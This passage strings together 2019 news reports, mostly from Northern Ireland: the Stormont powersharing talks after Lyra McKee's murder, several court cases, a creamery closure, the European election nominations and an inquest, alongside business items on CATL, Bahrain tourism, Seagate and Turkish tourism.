energy storage battery with ultra-large capacity and battery system as well as relevant after-sale services and technology consultation. CATL and FAW Group forged a strategic partnership as early as September 30, 2016. Last August, both parties involved in the startup BYTON's series B round financing. Aside from FAW Group, CATL also agreed cooperation agreements with other automakers like SAIC Motor, Dongfeng Motor, GAC Group, Geely and Jiangling Motors, etc., making it the China-based power battery maker who has most joint ventures with OEMs. CATL released on April 25 its official annual report for 2018, saying its full-year revenue surged 48.08% year on year to RMB29.611 billion, while the net profit attributable to shareholders of the listed company shrank 12.66% from the previous year to RMB3.387 billion. The hospitality industry continues to be one of the prime drivers of Bahrains recent economic growth with over 12 million people visiting the country annually according to the latest research report released by global real estate consultancy firm CBRE. CBREs 2019 Bahrain Market Snapshot for the first quarter of the year reveals that tourism numbers have aggregated to an average increase of 8 per cent year-on-year since 2012. Among those visiting Bahrain, residents from Saudi Arabia stand out as the most frequent travellers to the kingdom entering the country via the King Fahd Causeway - forming 87 per cent of the total inbound tourist numbers in 2018. James Lynn, head of strategic advisory at CBRE Bahrain, said: The dynamics of the hotel industry are evolving. Tourism is a key aspect of Bahrains 2030 vision and as the tourism figures continue to rise, it is important for developers, operators and service providers to have a thorough understanding of changing consumer habits, to ensure they are well-positioned to deliver a strategy that serves the needs of travellers and the market alike." CBREs records show that the majority of the visitors travel to Bahrain for the purpose of holiday and leisure, comprising 63 per cent of the total number of people entering the country, while the second main reason for travel is to visit friends and relatives, constituting 17 per cent of the market. The majority of tourists - comprising 71 per cent of the total - seemed to prefer to stay in hotels when visiting Bahrain while 17 per cent opted for more affordable and spacious furnished apartment options, with the average length of stay rising up to approximately three nights across the market in 2018. Lynn added: "With a 5.2 per cent year-on-year increase in five-star hotel key supply and a 4.9 per cent year-on-year increase in occupancy rates indicated in performance figures, the hospitality industry is expected to carry on creating genuine value for the countrys economy with a collection of niche development opportunities across the resort and city hotel markets. - TradeArabia News Service Seagate Technology has announced an investment of 57.4m on their Londonderry Springtown plant. Seagates investment of 47.4 million is being supported by Invest Northern Ireland with an offer of 9.95 million. The funding will be focused on enabling further research and development in nanophotonics, and will create 25 highly skilled new jobs. Seagate Derry currently employs over 1400 people in a variety of roles. Chief Executive Officer of Seagate Technology Dave Mosley said innovation had been at the heart of the group's success. Todays investment extends a successful, collaborative partnership with Invest Northern Ireland and will further strengthen our ability to deliver customer-centric technology leadership for the data-driven future of the global economy, he said. Noel Lavery, Permanent Secretary at the Department for the Economy, welcomed the investment. Effective collaboration between Invest NI and Seagate has once again boosted the North West and the wider Northern Ireland economy by delivering investment and well-paid jobs in a sector with a strong future, he said. A mother charged in connection with a suspected 150,000 cocaine seizure in west Belfast previously likened to a scene from crime movie Goodfellas will have to put up with wearing an electronic tag, a High Court judge has ruled. Joanne Cassidy's lawyers argued that her monitoring device and curfew should be lifted so she can enjoy summertime activities with her children. But Mr Justice McAlinden insisted the 42-year-old is lucky to be on bail. "She is where she is because of her role as a carer for children," he said. "To come back to seek a variation of bail terms to remove the curfew and tagging, bearing in mind the nature and severity of these charges is, to this court's mind, somewhat rich. "She will just have to put up with these restrictions placed on her for very good and legitimate reasons." Cassidy, of Mount Eagles Grove in the Dunmurry area, denies conspiracy to possess a Class A controlled drug with intent to supply and possession of criminal property. An earlier court was told an estimated 60,000 worth of cocaine was recovered during a police raid on the family home last October. Officers also found 20,000 in cash inside a designer bag upstairs in the property. At the time prosecutors claimed Cassidy was in a nearby kitchen "entertaining" while her husband James was mid-transaction when the rapid entry was carried out. Searches at the nearby house of another man led to the seizure of a further consignment of cocaine potentially worth 90,000. A Crown lawyer claimed the suspected cocaine was dropped when the Cassidys' Mount Eagles Grove home was raided. The operation, which involved the use of a police helicopter, also led to the seizure of the couple's Range Rover and Audi A4 vehicles, the court was told. Joanne Cassidy had been in the kitchen with a friend when officers entered, and insisted she knew nothing about the drugs or the cash. Granting bail last October, Mr Justice McAlinden expressed shock at the alleged scene of cocaine found all over the living room floor. He said at the time: "It's more to do with Goodfellas and what one sees on television than one would imagine in a residential development in Dunmurry. But that is the modern world we live in." Seeking a relaxation of the curfew and tagging conditions, defence barrister Sean Devine submitted today: "They are causing some issues in terms of being able to enjoy activities with the children and also, as we move into the summer months, her ability to have a little bit more freedom." However, the judge ruled that the case should instead be reviewed again in four weeks time. The British and Irish Governments are due to make an announcement later about a fresh bid to restore Stormont powersharing. It is expected talks could take place after local council elections in Northern Ireland on May 2. On Wednesday, Catholic peacemaking priest Father Martin Magill challenged politicians as to why it had taken the death of 29-year-old Lyra McKee to unite them, at her funeral. Sinn Fein has rejected DUP leader Arlene Fosters latest offer to break the political impasse in Northern Ireland. Expand Close Northern Ireland Secretary Karen Bradley and Irelands foreign minister Simon Coveney (Brian Lawless/PA) PA Archive/PA Images / Facebook Twitter Email Whatsapp Northern Ireland Secretary Karen Bradley and Irelands foreign minister Simon Coveney (Brian Lawless/PA) Northern Ireland Secretary Karen Bradley and Irish Minister for Foreign Affairs Simon Coveney are expected to hold a press conference later on Friday in Belfast. Speaking in Derry, Ms Bradley told the BBC: I think we need to make sure that politicians come together and do the right thing do the right thing for the people of Northern Ireland and get back into government. And Mr Coveney told Irish broadcaster RTE: I think both governments know they have a responsibility to work together to give both leadership and structure to help parties find a way of re-establishing a functioning Stormont and we will have more to say on this this afternoon. Mrs Foster wants a twin-track approach where the devolved institutions are restored quickly to deal with issues like running the health service, while a separate process addresses disagreements like that over same-sex marriage. Sinn Fein deputy leader Michelle ONeill has rejected that and said issues like marriage equality and protection for the Irish language need to be delivered to pave the way for restoration of the devolved institutions. A Downing Street spokeswoman said the Government hoped to bring the parties back together for talks as soon as possible. We have talked extensively about the importance of restoring powersharing in Northern Ireland and the Secretary of State in Northern Ireland is working very hard behind the scenes to try and get the parties back around the table. The Prime Minister has been involved directly: she travelled to Belfast in recent months and talked to all five party leaders. Its more important than ever now that Northern Ireland has strong political leadership and we hope well be able to bring the parties back together for talks as soon as possible. Expand Close DUP leader Arlene Foster and Sinn Feins Northern Ireland leader Michelle ONeill (Owen Humphreys/PA) PA Archive/PA Images / Facebook Twitter Email Whatsapp DUP leader Arlene Foster and Sinn Feins Northern Ireland leader Michelle ONeill (Owen Humphreys/PA) The Stormont Assembly and ministerial Executive collapsed more than two years ago in a row between the former powersharing partners over a botched green energy scheme. Multiple rounds of talks have failed to secure their restoration. Sinn Fein leader Mary-Lou McDonald has said her party is ready to play a full part in a serious and meaningful talks process aimed at restoration. Sinn Fein President @MaryLouMcDonald said that Sinn Fein stands ready to restore the power-sharing institutions by resolving the issues of rights & equality at the heart of the impasse Equality threatens nobody. Equality & respect are positive values for everybody across Ireland pic.twitter.com/jTV1jI4hVb Sinn Fein (@sinnfeinireland) April 25, 2019 The DUP has consistently called for devolution to be revived or for the UK Government to step in to make more decisions. The Northern Ireland Secretary has already said she intends to hold discussions with Stormonts party leaders. They attended a vigil together in Londonderry after Miss McKee was shot dead by dissident republicans. Mrs Foster has said Sinn Fein could not get everything it wanted, a 5-0 victory, and her party receive nothing. Leo Varadkar and Theresa May said they have agreed to establish a new process of political talks (Brian Lawless/PA) The British and Irish governments have launched a new round of political talks and called for new thinking to re-establish devolved powersharing in Northern Ireland. Negotiations are expected to take place as soon as possible after local council elections in Northern Ireland on May 2. All the main parties will be invited. On Wednesday, Catholic peacemaking priest Father Martin Magill challenged politicians as to why it had taken the death of 29-year-old Lyra McKee shot by dissident republicans to unite them, at her funeral. Expand Close The order of service at the funeral of murdered journalist Lyra McKee (Liam McBurney/PA) PA Wire/PA Images / Facebook Twitter Email Whatsapp The order of service at the funeral of murdered journalist Lyra McKee (Liam McBurney/PA) Prime Minister Theresa May and Irish Taoiseach Leo Varadkar said: We also heard the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress. We agree that what is now needed is actions and not just words from all of us who are in positions of leadership. The institutions have been suspended for more than two years following a row between former governing partners the DUP and Sinn Fein. Endless rounds of negotiations failed to break the deadlock. Sinn Fein has rejected DUP leader Arlene Fosters latest offer to move the political impasse in Northern Ireland. The British and Irish premiers said: We have agreed to establish a new process of political talks, involving all the main political parties in Northern Ireland, together with the UK and Irish governments, in accordance with the three stranded process. The aim of these talks is quickly to re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement the Northern Ireland Executive, Assembly and North-South Ministerial Council so that they can effectively serve all of the people for the future. Northern Ireland Secretary Karen Bradley and Irish Minister for Foreign Affairs Simon Coveney are expected to hold a press conference later on Friday in Belfast. We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issuesTheresa May and Leo Varadkar The Prime Minister and Taoiseach added: We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issues. As Prime Minister and Taoiseach, we are determined to work together to ensure this process comes to a successful conclusion. They will review progress at the end of May. They also agreed that there should be a meeting of the British-Irish Intergovernmental Conference during the same period. The conference will consider East/West relations, security co-operation, and political stability in Northern Ireland. Mrs Foster wants a twin-track approach where the devolved institutions are restored quickly to deal with issues like running the health service, while a separate process addresses disagreements like that over same-sex marriage. Sinn Fein deputy leader Michelle ONeill has rejected that and said issues like marriage equality and protection for the Irish language need to be delivered to pave the way for restoration of the devolved institutions. This is the octogenarian who is alleged to have subjected his cancer-suffering partner to a savage two-hour beating. During a brief hearing at Newtownards Magistrates Court yesterday a prosecuting lawyer said the full file against 86-year-old Fedor Harvey Stewart hasn't been received yet, but papers are expected by May 10. She told the court she was seeking a four-week adjournment, an application which the defence took no issue with. Stewart, formerly of Old Belfast Road in Bangor but bailed to live at Church Lane in Donaghadee, faces charges of inflicting actual bodily harm and attempting to choke, suffocate or strangle the 84-year-old alleged victim. When he was initially charged last month the court heard claims that he subjected his partner, a cancer patient, to a two-hour beating after she asked to hold his hand. During a contested bail application a prosecuting lawyer told the court how Stewart went to his GP, telling the doctor how he had "continually punched the woman in an attack that lasted over two hours". The police were alerted and when they went to the complainant's home they saw she had "significant injuries including severe bruising to her face". "He disclosed that she had asked to hold his hand, which he responded to by repeatedly punching her in the face," said the prosecuting lawyer. She added that while in the police car he said to officers: "I agree with you, I did it. Look at my fists - they are damaged - it was me, I did it. If she had not annoyed me I wouldn't have had to discolour her face." Freeing Stewart on continuing bail, Deputy District Judge Brian Archer ordered him to appear in court again on May 23, telling the defendant that "hopefully there will be progress by that stage". Employees of a creamery in Co Tyrone have been dealt a blow after being told the plant will close in just over a month Employees of a creamery in Co Tyrone have been dealt a blow after being told the plant will close in just over a month. Dairy cooperative Dale Farm has announced it will not renew its lease on the Fivemiletown creamery site and is planning to relocate staff and cheese production more than 60 miles away to its facility in Cullybackey, close to Ballymena. Dale Farm is supporting the 18 staff currently employed at the Fivemiletown site by offering transfers to other Dale Farm production locations or, where this is not feasible, securing suitable redundancy packages, it said in a statement. The only Fivemiletown cheese Dale Farm will continue to produce from early June will be goat's cheese. All other lines - including the award-winning Ballybrie, Ballyblue, Ballyoak and smoked Oakwood cheddar - will no longer be carried. DUP councillor Wills Robinson said party leader Arlene Foster had been in touch with Dale Farm and the party will continue to work to ensure the best outcome for the affected employees. "Many of them are long-term workers and no one wants this type of uncertainty," he said. Expressing her disappointment, Fermanagh and South Tyrone MLA Rosemary Barton said: Once again South Tyrone has been hit by the closure of another factory. "This is extremely disappointing news coming less than six months after the ceasing of the precast concrete manufacturing A&G Plant at Ballygawley. "While Dale Farm are keen to support the 18 staff that will be made redundant and offer them similar positions within Dale Farm, unfortunately these positions are some distance from Fivemiletown. "I have requested a meeting with Nick Whelan, group chief executive of Dale Farm Ltd, to discuss the matter in more detail and the options available for the work force." UUP Mid Ulster District councillor Robert Mulligan said it was a bitter blow for the employees. "It may only be a relatively small number of jobs that are affected but these days even one job is too many," he said. "This will be a real blow to the families of these employees. "Perhaps if they were being offered alternative employment in Cookstown it might be possible for staff to relocate, but if the only alternative is Cullybackey then I'm sure it will be out of the question for most." Dale Farm said it had "taken the decision not to renew its leases on the Fivemiletown Creamery site, with plans to relocate staff and cheese production to its facility at Dromona" in Cullybackey. It added: "In May 2014, Dale Farm bought the Fivemiletown speciality cheese brand from Glanbia Ingredients Ireland and reached agreement with Fivemiletown & Brookeborough Co-operative to take over the production of its cheese at the Fivemiletown site. "Dale Farm leased the premises from Fivemiletown & Brookeborough Co-operative and took over employment of its staff. "The lease arrangement with Fivemiletown & Brookeborough Co-operative is due to terminate in 2019 and Dale Farm will not renew this. "Dale Farm has stated that following careful consideration, maintaining production of Fivemiletown cheese at the Fivemiletown site was deemed no longer feasible. "Dale Farm will relocate production of the main lines of our Fivemiletown cheeses to our facility at Dromona Cullybackey. "However, the low volume Fivemiletown cheese retail lines will no longer be carried. "Dale Farm is keen to ensure the Fivemiletown brand remains active in Northern Ireland and will continue to produce Fivemiletown goat's cheese. "Production of Fivemiletown cheese at Fivemiletown Creamery will cease in early June 2019." UFU deputy president Victor Chestnutt expressed disappointment at the news, but said it was reassuring to hear that plans are in place to relocate affected staff. He added that the UFU will continue to monitor the situation to ensure that their milk suppliers are not affected. Niamh with other runners at Ormeau Park park run in south Belfast This is the young schoolgirl who has set herself a formidable charity challenge. Niamh Lemon, from Dundonald, is determined to take part in all 28 park runs held across Northern Ireland before her ninth birthday, which falls on Christmas Day. She has already completed around 25 junior park runs of 2km and has helped her dad Stephen at adult park runs. Stephen (42) said: "She was so keen that I thought maybe it would be a good thing if she tried to do them all. "It's quite a thing to be able to say that you've done all the park runs in Northern Ireland." A full park run is five kilometres, so Niamh will have done almost 150 kilometres by the time she finishes her challenge. Stephen added: "I'm so very proud of her - not just for wanting to do the 28 runs, but because she wants to do it for charity as well. "That's the bigger thing, to be honest." Niamh, a pupil at Dundonald Primary School, has a track record of raising funds for charitable causes. A couple of years ago, she decided that for her birthday she didn't want presents but for donations to be made to charity instead. This time Niamh has chosen to raise funds for Water for Kids, a UK charity established 20 years ago to provide safe water. It works with communities in African countries to dig wells, protect water sources, build toilets and deliver hygiene education. This reduces the spread of diseases and improves the wellbeing of local people. The charity has already transformed the lives of over 390,000 people in 154 communities in nine countries. Stephen said: "When I went to set up her JustGiving page, Water for Kids made sense. "She's interested in water and, hey, she's a kid." Niamh's fundraising campaign is already going well. So far she has raised more than double her modest initial target of 100 - and is now aiming for 400. The young park runner has already completed two of her full-scale runs - at Victoria Park and Ormeau Park in Belfast. Her next run will take place at Falls Park in the city tomorrow - the third of her 28-strong target. Overall, her challenge will see her complete almost one park run every week until Christmas in order to reach her formidable goal, her dad explained. Stephen added: "Her sister Chloe, who's 10, will be doing her transfer test in November, so we will lose a few weeks because of that. "The running is the easy bit. It's all the travelling around that's the hardest." The charity mission is set to take the family all around Northern Ireland. Stephen, a civil servant, said they hoped to combine some family holidays with the park runs being staged in locations at the opposite end of Northern Ireland from the family's Dundonald home. "There are a good few park runs that are near us, but there's also Derry, Omagh, Enniskillen, Rostrevor, Limavady and Portrush - so there is quite a bit of travelling to do. "It'll be our holidays," he explained. Readers can follow Niamh's park run progress on her Facebook Page. Called Niamh's Running Challenge, the page will feature regular updates and photos as the schoolgirl counts down to the park run target she hopes to achieve by her Christmas Day birthday. Niamh's fundraising page is at https://www.justgiving.com/fundraising/niamhs28parkrunchallenge Next month's European elections will be a chance to register opposition to Brexit, the Sinn Fein vice president has said. The final four contenders for Northern Ireland's three seats in the European Parliament submitted their nominations in Belfast yesterday. Outgoing Sinn Fein MEP Martina Anderson was accompanied by her party's vice president Michelle O'Neill as she handed in her papers. Ms Anderson said her campaign officially starts now. "Twenty-nine days to go for the people here in the north of Ireland to send a very clear message back to the EU that they don't want to crash out of the EU or be dragged out of the EU," she said. "I am honoured to have been selected by Sinn Fein to stand in front of the people and hopefully get re-elected because, without doubt, without team Sinn Fein in the European Parliament, the Good Friday Agreement, in all of its parts, and Ireland would not have been one of the three priorities." Mrs O'Neill commended Ms Anderson for "standing firm for the people who don't want to be taken out of the EU against their wishes". "This election will very much be about the Remain vs Leave vote, this will very much be an election once again for people to register that they do not want to be dragged out of the EU, that there is no good to come from Brexit, and they do not want Brexit foisted upon us." SDLP leader Colum Eastwood submitted his nomination papers yesterday afternoon. Next month's poll comes as the UK Government remains unable to agree a deal to leave the European Union. It had not been planned for UK voters to be electing a fresh batch of MEPs this year after the UK voted in 2016 to leave the EU. The elections to the European Parliament are proceeding after politicians at Westminster and the European Council agreed to delay Brexit. Northern Ireland's three seats in Brussels have historically been divided between unionists and nationalists. Ms Anderson and outgoing DUP MEP Diane Dodds will run again, while veteran Ulster Unionist Jim Nicholson is stepping aside after decades in the European Parliament. Jim Allister is also standing, having previously served as an MEP from 2004 to 2007, initially for the DUP before leaving to form Traditional Unionist Voice in 2007. The ardent Brexiteer blasted the delay to Brexit, three years after the referendum, and described the UK electing MEPs in 2019 as "shameful". "We have arrived at this travesty and wider betrayal of Brexit by reason of the combination of the abysmal weakness of Mrs (Theresa) May and the bully boy tactics of the EU," he said after submitting his nomination papers. "Brexiteers must fight this election to win. That is why I have nominated to be a candidate in these elections." Earlier Green Party leader Clare Bailey submitted her nomination papers. "People are fed up with the Westminster antics and we know that Brexit is contributing to the inability of the DUP and Sinn Fein to work together," she said. "However, this European election gives the people of Northern Ireland an opportunity to assert ourselves and remind the UK Government that we voted to remain. It gives us a chance to say we want to remain part of the European Union, we want to secure our rights and economic future and we want to reject the politics of hate and division." Voters in the UK will go to the polls on May 23. The candidates running for our three seats in the European Parliament are Sinn Fein's Martina Anderson, the DUP's Diane Dodds, Danny Kennedy (Ulster Unionist Party), Colum Eastwood (SDLP), Naomi Long (Alliance), Jim Allister (TUV) and Clare Bailey (Greens). Karen Bradley and Simon Coveney pictured at an event in Belfast last year The British and Irish governments are expected to today announce a fresh round of political talks to try to restore devolution. The all-party discussions are expected to start after next week's council elections. It is understood that Secretary of State Karen Bradley and Irish Foreign Affairs Minister Simon Coveney are to make the announcement at Stormont this afternoon. The initiative follows the New IRA killing of journalist Lyra McKee in Londonderry last week. Addressing mourners at her funeral in Belfast on Wednesday, Fr Martin Magill appealed to political leaders to return to work at Stormont. He told the assembled politicians that it should not take the death of a young woman to bring them together. The proposed talks are set to take place before the EU elections on May 23 and before the publication of the RHI report, which, it is believed, will be highly critical of DUP figures. The move by the two governments came as Sinn Fein rejected the DUP's offer to break the political impasse, which has seen power-sharing suspended for two years. DUP leader Arlene Foster suggested a twin-track approach where the devolved institutions are restored quickly to deal with issues like running the health service, while a separate process addresses disagreements like that over same-sex marriage. But Sinn Fein deputy leader Michelle O'Neill said: "In terms of what Arlene Foster has proposed, in terms of going into the Executive and having a parallel process, that will not work. "The citizens here deserve to have their rights delivered on marriage equality, language rights, legacy inquest rights. "These things need to be delivered and that in itself then paves the way for the institutions to be restored." Sinn Fein president Mary Lou McDonald said her party was ready to play a full part in a "serious and meaningful" talks process. But she warned that Sinn Fein would not "capitulate" on an Irish Language Act. "Fr Magill laid down a very, very serious challenge, a challenge not just to talk, not to tick boxes, but to get power-sharing up and running," she told RTE. The Sinn Fein leader described Miss McKee's funeral as "incredibly moving" and "harrowing at many levels". She added that people across the island had been deeply affected by the young journalist's killing and that there was "anger" and "revulsion" over it. But asked whether she was holding out for same-sex marriage and a standalone Irish Language Act, she said that the issues at play were not trivial. "I'm sure you didn't miss the fact that those saying goodbye to Lyra were carrying the rainbow flag," she said. "I'm sure you haven't missed the fact that Lyra herself was a very passionate and very effective advocate for marriage equality." Ms McDonald continued: "There is nothing trivial in a society that has been fractured by conflict, in a society where we need sustainable power-sharing. There's nothing trivial at all on insisting on equality and rights for every citizen." "We stand by the Good Friday Agreement and we are not going to resile from that position." Pressed as to whether Sinn Fein was willing to compromise on the issue of a standalone Irish Language Act, Ms McDonald replied: "If you're asking me are we going to capitulate on behalf of citizens in the North to people who wish to hold back progress in every form, to people who do not wish to make room for others in an open democratic society, then the answer to that is no. We will not capitulate on that." She said that the two governments needed to intervene to resolve the stalemate on same-sex marriage and the Irish Language Act. "Given that the DUP aren't prepared to lift these issues and resolve these issues with us, the governments now need to step in," she said. "They need to meet urgently, I believe, in the form of the British-Irish Intergovernmental Conference and they need to map out the answers to these questions." Meanwhile, Mrs Foster said Sinn Fein could not get everything it wanted - "a 5-0 victory" - with the DUP securing nothing. Speaking on BBC Radio Ulster yesterday, she said: "We are now a year-and-a-half forward (from the collapse of power-sharing) and there is huge frustration in our society. "I think it is an eminently reasonable thing to suggest dealing with the normal day-to-day things in the Assembly whilst dealing in a separate process with the help of our government with the issues which Sinn Fein want to raise." The DUP leader rejected Sinn Fein's demand that the underlying issues between the two parties be addressed before a return to devolution. "That is putting their demands above the demands of the people of Northern Ireland," she said. "The people of Northern Ireland have demands as well and they are demands for a better healthcare system. They want their schools reformed and they want their infrastructure done." Mrs Foster told RTE that Miss McKee's killing had not changed the DUP's position on same-sex marriage. The journalist was planning to propose to her girlfriend, Sara Canning, next month. Mrs Foster paid tribute to Miss McKee and noted her partner's huge loss. But she added: "You shouldn't conflate sympathy and empathy with a political issue. "We have a long-standing policy which hasn't changed - and that remains the position of the party." Turkey, one of the worlds largest tourist destinations, is all set to welcome 50 million tourists in 2019, according to the governments projection. This projection is further rooted in the increased interest in Gobeklitepe cited as one of the most significant archaeological discoveries of the 21st century, this 12,000-year-old temple was added to the Unesco World Heritage List in 2018 and is expected to draw heavy interest from the scientific community, historians and tourists alike. Turkey is returning to the Arabian Travel Market (ATM), taking place at the Dubai World Trade Centre from April 28 to May 1, with an 800-sq-m stand that will host 35 leading travel and tour operators. Turkey welcomed over 46 million visitors in 2018, including 39.49 million foreigners and 6.62 million Turkish citizens from abroad. The country recorded $29.5 billion worth of earnings from foreign tourist spending in 2018. Its participation at the ATM 2019 seeks to rebrand the country as a luxury tourism destination while retaining its appeal among average budget travellers. Its exhibition stand is split into two sub-pavilions: one under the Ministry of Tourism, and the other under Turkish Airline. Turkish Pavilion will offer a glimpse of the countrys fusion of rich Euro-Asian, Mediterranean and Middle Eastern cultures. Salih Ozer, attache of culture and information, Turkey to the UAE, said: Tourism is one of the largest economic sectors in Turkey, and we are now focusing on the luxury travel destinations and services that will raise the profile of Turkey on the global tourism map. We welcome travel and tour operators from across the region to our pavilion at the ATM to strengthen their ties with our travel and tourism partners. Turkey remains an oasis of peace and tranquillity and offers a large number of tourist attractions. It offers greater value for money when compared to other popular tourist destinations across the world." Turkey is one of the largest outbound tourism markets for people living in the Gulf countries. Tourism revenues increased 12.3 per cent, reaching $29.5 billion in 2018, in comparison with $26.2 collected in 2017. Official data revealed that 81.8 per cent of the income came from foreign visitors and 18.2 per cent from Turkish citizens living abroad. TradeArabia News Service A man who escaped injury in a bomb attack in Londonderry earlier this year has said the peace process must not be allowed to go backwards. Local political divisions have come back under the spotlight following the murder of journalist Lyra McKee last Thursday night. The priest at her funeral was given a standing ovation when he challenged politicians present about why it took her death to unite them. In recent days politicians from all sides have stood together in condemnation of the New IRA, which admitted responsibility for Miss McKee's death. The terror group also said it was behind a bomb attack in Derry on January 19. A man caught up in the explosion has now spoken out, saying he is worried that "ignorant" politicians are contributing to an increase in tension in the area as the border has become a central sticking point in Brexit negotiations. He told this newspaper: "People were raging that somebody would do this to us. "Everybody is worried because we don't want to go backwards on the peace process when we have come so far. "People just want to go on living their lives." The man recalled how he was left cowering behind a police officer as the bomb went off in the middle of a mass evacuation. The PSNI was given just 10 minutes to clear the area, which was not enough time, he said, and the bomb detonated as residents were still on the street. "I heard a hard bang," he explained. "It was like a loud crack. "The police were yelling 'Get down! Get down!' and I ended up crouched down with a police officer on top of me. "There was a big black plume of smoke rising into the sky. The smell was really thick and unpleasant and the air tasted so bad. I was quite stunned." Sectarian tensions have been steadily rising since the start of the year, but Theresa May has insisted that this is not linked to Brexit and that she is committed to protecting the Good Friday Agreement. In January, she told MPs: "This House stands together with the people of Northern Ireland in ensuring that we never go back to the violence and terror of the past." However, the man caught up in the bomb blast said he did not think Brexiteer politicians like Jacob Rees-Mogg and Boris Johnson were respectful enough of the "deep trauma" Northern Ireland had been through over the border. "There is an issue with ignorance in Westminster and the people in power there who have never been here," he said. "They seem to have forgotten the Troubles." Mr Johnson has compared the Irish border to the boundaries between London boroughs inside the capital's congestion zone, claiming there could be an as yet unspecified technical solution to prevent a hard border after Brexit. Mr Rees-Mogg, the European Research Group chairman, has been the ringleader for the hardest deal with the biggest risk to the Irish border. The bomb survivor suggested Mr Rees-Mogg should visit to feel the tensions himself. "The vapidity of this is insulting," he said. "It's insulting to have politicians who don't try to respect the people here, who are gaslighting over the Troubles and misrepresenting the situation. "This is a politically fragile place. Politicians are actively harming us with Brexit, which most people here voted against." Former British negotiator to Northern Ireland Jonathan Powell said this week he believed the political vacuum around Brexit was contributing to sectarian violence here, although he was careful to stress it was not the sole cause. But Tory Brexiteer MP Mark Francois, another member of the ERG, dismissed any link between the upswing in violence and Brexit. "It's important not to confuse two different things," said Mr Francois. "We've not had a Northern Irish Executive for around two years and that's nothing to do with Brexit. "There is a political vacuum in Northern Ireland, but that's not because of Brexit. "(It's) because Sinn Fein chose to withdraw from the Northern Irish Assembly and it's important not to mix the two up." A man accused of following a woman to a car park in a bid to carry out a sex attack claims he was out jogging at the time, the High Court heard today. Prosecutors said the alleged victim managed to struggle free and escape after being grabbed and told to be quiet in Bangor, Co Down. Thomas Clarke, 24, with a hostel address at Central Avenue in the town, faces charges of attempted kidnapping, common assault and attempted sexual assault over the incident on October 10 last year. Refusing bail, Mr Justice McAlinden said: "I cannot think of anything more terrifying than to be walking home to a car park at night and being attacked by an unknown male." He was told the woman heard quickening footsteps behind her as she approached her car on Dufferin Avenue. According to Crown lawyer Conor Maguire she was grabbed from behind and ushered towards hedges in a dark corner of the car park, but managed to turn around and see it was the same man she had just passed on the street. "Whilst the male had his arms around the injured party she said he was repeatedly telling her not to say a word, and to be quiet," Mr Maguire continued. "She said she struggled and was able to slip her body out of her coat and run away." The man allegedly chased after her before fleeing when she began screaming for help. "She informed police that she thought she was going to be raped, and she has been left traumatised by the incident," prosecution counsel added. Clarke was arrested at his accommodation, with clothing allegedly matching that worn by the man found in his bedroom. The court heard staff at the hostel confirmed he was out at the time of the alleged incident, returning in a "breathless state". During interviews he denied any involvement in the attack. "The applicant also said he had decided to take up jogging and that was where he was at the time he was out of the hostel," Mr Maguire said. The barrister also contended that a mixed profile obtained from the woman's jacket could potentially yield a DNA link to Clarke. It was confirmed, however, that the accused was not picked out during an identification process. Defence lawyer Conan Rea described the evidence as a "mixed bag". He argued that Clarke should be released due to delays in the case. But denying bail, Mr Justice McAlinden added: "Offending of this nature is at the most serious end of the scale." A Northern Ireland man has received an apology after a watchdog concluded that the slow response of health staff led to him losing his sight. An investigation found failings in the way that medical and ophthalmology staff responded to the man's eye condition while he was a patient at Antrim Area Hospital. The man's daughter complained to the Northern Ireland Public Services Ombudsman (NIPSO) that her father would not have gone blind had the seriousness of his condition been spotted earlier. The case is detailed in a new bulletin from the watchdog. It outlines the investigation, describing how relevant documentation on the patient's treatment was obtained. Independent professional advice was also sought to help in the assessment of the clinical judgment of the health professionals involved in the patient's care and treatment. This advice stated that when the patient's condition was first spotted, it was not given an appropriate assessment by staff. Given the seriousness of some red-eye conditions, the independent adviser stated that it potentially needed to be referred to the eye casualty department. The advice further stated that when the patient was seen by ophthalmology staff three days later, due to the man's other serious health conditions, they made the correct decision not to give him intra-vitreal antibiotics - a technique requiring an injection to the eye. However, this decision should have been reviewed the next day. Instead, the review was arranged as a routine appointment for nine days later. After considering all the evidence, the ombudsman concluded that the ongoing significance of the patient's developing red-eye condition should have been further and sooner investigated and escalated. She found: There was a failure by the Northern Health and Social Care Trust to appropriately assess and seek timely expert advice regarding the patient's eye condition. This failure continued after the initial inadequate assessment as several other doctors and consultants examined or reviewed him. The system in place at the Belfast Health and Social Care Trust for handover, referral, prioritisation and monitoring of patients did not ensure that he was reviewed as a priority. An earlier diagnosis would have ensured that antibiotics were given at the appropriate time and this would have much improved the chances of the patient retaining his vision. The ombudsman recommended that the complainant should receive a written apology for the failures identified in the report and 1,000 in compensation. The ombudsman also made a series of recommendations to the two health and social care trusts involved in the case, in particular that they jointly conduct a review of the ophthalmology service provided to patients in the Northern Health and Social Care Trust, focusing on eye casualty and inpatient referral. A spokesperson for the northern trust said: "We deeply regret the outcome for this gentleman and have responded to the recommendations made by the ombudsman." The Belfast trust said: "The trust has worked jointly with Northern Trust to review the NIPSO findings and to implement the recommendations." A respected music journalist who grew up in Northern Ireland killed himself by leaping onto the tracks in front of a high-speed train, an inquest heard yesterday. David Cavanagh (54) died from multiple traumatic injuries after he was struck by the East Midlands service at Leagrave station in Luton on December 27 last year. In a note, the writer, who had spent Christmas with his mother in Bedford, said he intended to commit suicide on December 23 but did not want to inconvenience people travelling home for the holidays. At an inquest in Ampthill yesterday, Bedfordshire Senior Coroner Emma Whitting recorded a verdict that Dublin-born Mr Cavanagh, who grew up near Belfast from the age of five or six, had taken his own life. At the time of his death, Mr Cavanagh, who was single and had no children, was living at Blenheim Court in Hove, near Brighton. He had written a critically acclaimed history of the independent record label Creation Records called My Magpie Eyes are Hungry for the Prize. He also wrote Good Night and Good Riddance: How Thirty-Five Years of John Peel Helped to Shape Modern Life, about the Radio One DJ John Peel. In a statement provided to the British Transport police, Mr Cavanagh's brother Alan said that while the books were critically acclaimed, they generated little income. He added his brother was funny and engaging but had been struggling financially. Mr Cavanagh previously worked as an editor at Select magazine and wrote for Sounds, Q, Uncut and Mojo. He studied Russian at Birmingham University, later moving to the school of Slavonic studies. Coroner's officer Peter Smith said Mr Cavanagh was struck by the Derby to London train at 12.16pm on December 27. He had travelled on a Bedford to Brighton train that morning, getting off at Leagrave. He then walked over to platform three, where the fast train passed. The driver, who was travelling at around 100mph, saw Mr Cavanagh put his hand down and then leap off the platform and onto the track. He blew his horn continually, applied the emergency brake and then shut his eyes. After the impact, train services 